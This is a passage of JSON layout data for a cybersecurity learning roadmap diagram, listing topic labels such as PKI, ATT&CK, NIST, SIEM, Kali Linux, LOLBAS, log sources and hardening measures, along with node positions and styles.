\"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 55.911228463384646,\n        \"y\": 2288.2039836635786\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rmR6HJqEhHDgX55Xy5BAW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 158.91122846338465,\n        \"y\": 2288.2039836635786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Key Exchange\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 158.91122846338465,\n        \"y\": 2288.2039836635786\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fxyJxrf3mnFTa3wXk1MCW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -29.76962993617201,\n        \"y\": 2394.2039836635786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PKI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -29.76962993617201,\n        \"y\": 2394.2039836635786\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7svh9qaaPp0Hz23yinIye\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -31.088771536615354,\n        \"y\": 2341.2039836635786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Private vs Public Keys\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 367,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 367,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -31.088771536615354,\n        \"y\": 2341.2039836635786\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 367,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kxlg6rpfqqoBfmMMg3EkJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 73.29933557865638,\n        \"y\": 2394.2039836635786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Obfuscation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 73.29933557865638,\n        \"y\": 2394.2039836635786\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wb3Wc9be7bJ_Xr5p-Pnvm\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 38.826457096334934,\n        \"y\": 2453.243819102248\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand Frameworks\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"ck93KaGoD_sGLp2Y-DvIR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 38.826457096334934,\n        \"y\": 2453.243819102248\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"auR7fNyd77W2UA-PjXeJS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -31.094399224729955,\n        \"y\": 2548.5997297616595\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ATT&CK\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 370,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 370,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -31.094399224729955,\n        \"y\": 2548.5997297616595\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 370,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7Bmp4x6gbvWMuVDdGRUGj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 142.74695349177136,\n        \"y\": 2494.243819102248\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Kill Chain\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 142.74695349177136,\n        \"y\": 2494.243819102248\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AY-hoPGnAZSd1ExaYX8LR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -29.253046508228294,\n        \"y\": 2494.243819102248\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Diamond Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 168,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 168,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -29.253046508228294,\n        \"y\": 2494.243819102248\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zruYWobdu1xW9lTDUZk4-\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -360.95613538933264,\n        \"y\": 2562.1620246644734\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand Common Standards\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -360.95613538933264,\n        \"y\": 2562.1620246644734\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"oRssaVG-K-JwlL6TAHhXw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -384.91598845744454,\n        \"y\": 2598.1620246644734\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ISO\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 50,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -384.91598845744454,\n        \"y\": 2598.1620246644734\n      },\n      \"style\": {\n        \"width\": 155,\n        \"height\": 50\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"SOkJUTd1NUKSwYMIprv4m\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -386.0128034325229,\n        \"y\": 2652.981221365879\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NIST\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -386.0128034325229,\n        \"y\": 2652.981221365879\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fjEdufrZAfW4Rl6yDU8Hk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -226.11295342651772,\n        \"y\": 2599.4860956375887\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RMF\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -226.11295342651772,\n        \"y\": 2599.4860956375887\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sSihnptkoEqUsHjDpckhG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -282.0128034325229,\n        \"y\": 2652.981221365879\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CIS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -282.0128034325229,\n        \"y\": 2652.981221365879\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HjfgaSEZjW9BOXy_Ixzkk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -178.0128034325229,\n        \"y\": 2652.981221365879\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CSF\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -178.0128034325229,\n        \"y\": 2652.981221365879\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ILAZCecheh0RHHitBx7B2\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 47.08525598386245,\n        \"y\": 2703.053685572214\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand the following\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 47.08525598386245,\n        \"y\": 2703.053685572214\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"c2kY3wZVFKZYxMARhLIwO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -37.4002781040698,\n        \"y\": 2740.7296145990986\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SIEM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -37.4002781040698,\n        \"y\": 2740.7296145990986\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i0ulrA-GJrNhIVmzdWDrn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 149.9278798192786,\n        \"y\": 2740.7296145990986\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SOAR\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 149.9278798192786,\n        \"y\": 2740.7296145990986\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Kg9vI3skbes7-UqApDWq0\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 35.42728088457284,\n        \"y\": 2607.976059656408\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Common Distros for hacking\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 35.42728088457284,\n        \"y\": 2607.976059656408\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"zR6djXnfTSFVEfvJonQjf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -33.57271911542716,\n        \"y\": 2648.0174045771755\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ParrotOS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 180,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 180,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -33.57271911542716,\n        \"y\": 2648.0174045771755\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 180,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w6wXkoLrv0_d-Ah0txUHd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 151.42728088457295,\n        \"y\": 2648.0174045771755\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Kali Linux\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 182,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 182,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 151.42728088457295,\n        \"y\": 2648.0174045771755\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 182,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"10qbxX8DCrfyH7tgYexxQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -385.24003999212795,\n        \"y\": 2743.5549352589032\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"LOLBAS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -385.24003999212795,\n        \"y\": 2743.5549352589032\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3Q030CQumukKTg3YessCN\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -375.35457362646355,\n        \"y\": 2707.5549352589032\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Using tools for Unintended Purposes\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -375.35457362646355,\n        \"y\": 2707.5549352589032\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"JAEDRu2Vg-0M_TJi2cnPg\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -367.75778399033004,\n        \"y\": 2798.7107069230883\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn how to find and use these logs\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 298,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -367.75778399033004,\n        \"y\": 2798.7107069230883\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 298,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"KbFwL--xF-eYjGy8PZdrM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -388.6044451290735,\n        \"y\": 2838.7107069230883\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Event Logs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -388.6044451290735,\n        \"y\": 2838.7107069230883\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7oFwRkmoZom8exMDtMslX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -253.6044451290735,\n        \"y\": 2838.7107069230883\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"syslogs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -253.6044451290735,\n        \"y\": 2838.7107069230883\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xXz-SwvXA2cLfdCd-hLtW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -169.6044451290735,\n        \"y\": 2838.7107069230883\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"netflow\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -169.6044451290735,\n        \"y\": 2838.7107069230883\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TIxEkfBrN6EXQ3IKP1B7u\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -388.6044451290735,\n        \"y\": 2891.7107069230883\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Packet Captures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -388.6044451290735,\n        \"y\": 2891.7107069230883\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"np0PwKy-EvIa_f_LC6Eem\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -213.26336243433695,\n        \"y\": 2891.7107069230883\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Firewall Logs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -213.26336243433695,\n        \"y\": 2891.7107069230883\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"H1RC3OllZeqe_NvNcS1pU\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -357.64456633552516,\n        \"y\": 2951.981221365879\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand Hardening Concepts\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -357.64456633552516,\n        \"y\": 2951.981221365879\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"OAukNfV5T0KTnIF9jKYRF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -390.489702350469,\n        \"y\": 2987.981221365879\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MAC-based\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -390.489702350469,\n        \"y\": 2987.981221365879\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6oAzYfwsHQYNVbi7c2Tly\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -250.09048932508256,\n        \"y\": 2987.981221365879\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NAC-based\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -250.09048932508256,\n        \"y\": 2987.981221365879\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"W7bcydXdwlubXF2PHKOuq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -388.87214999228615,\n        \"y\": 3040.981221365879\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Port Blocking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 148,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 148,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -388.87214999228615,\n        \"y\": 3040.981221365879\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 148,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FxuMJmDoDkIsPFp2iocFg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -237.64861965573243,\n        \"y\": 3040.981221365879\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Group Policy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 176,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 176,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -237.64861965573243,\n        \"y\": 3040.981221365879\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8JM95sonFUhZCdaynUA_M\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -285.148619655732,\n        \"y\": 3093.981221365879\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ACLs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -285.148619655732,\n        \"y\": 3093.981221365879\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oFgyQYL3Ws-l7B5AF-bTR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -388.87214999228615,\n        \"y\": 3093.981221365879\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sinkholes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -388.87214999228615,\n        \"y\": 3093.981221365879\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"e-MDyUR3GEv-e4Qsx_5vV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -220.49844999825234,\n        \"y\": 3093.981221365879\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Patching\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 160,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 160,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -220.49844999825234,\n        \"y\": 3093.981221365879\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UF3BV1sEEOrqh5ilnfM1B\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -388.87214999228615,\n        \"y\": 3146.981221365879\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Jump Server\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 145,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -388.87214999228615,\n        \"y\": 3146.981221365879\n      },\n      \"dragging\": 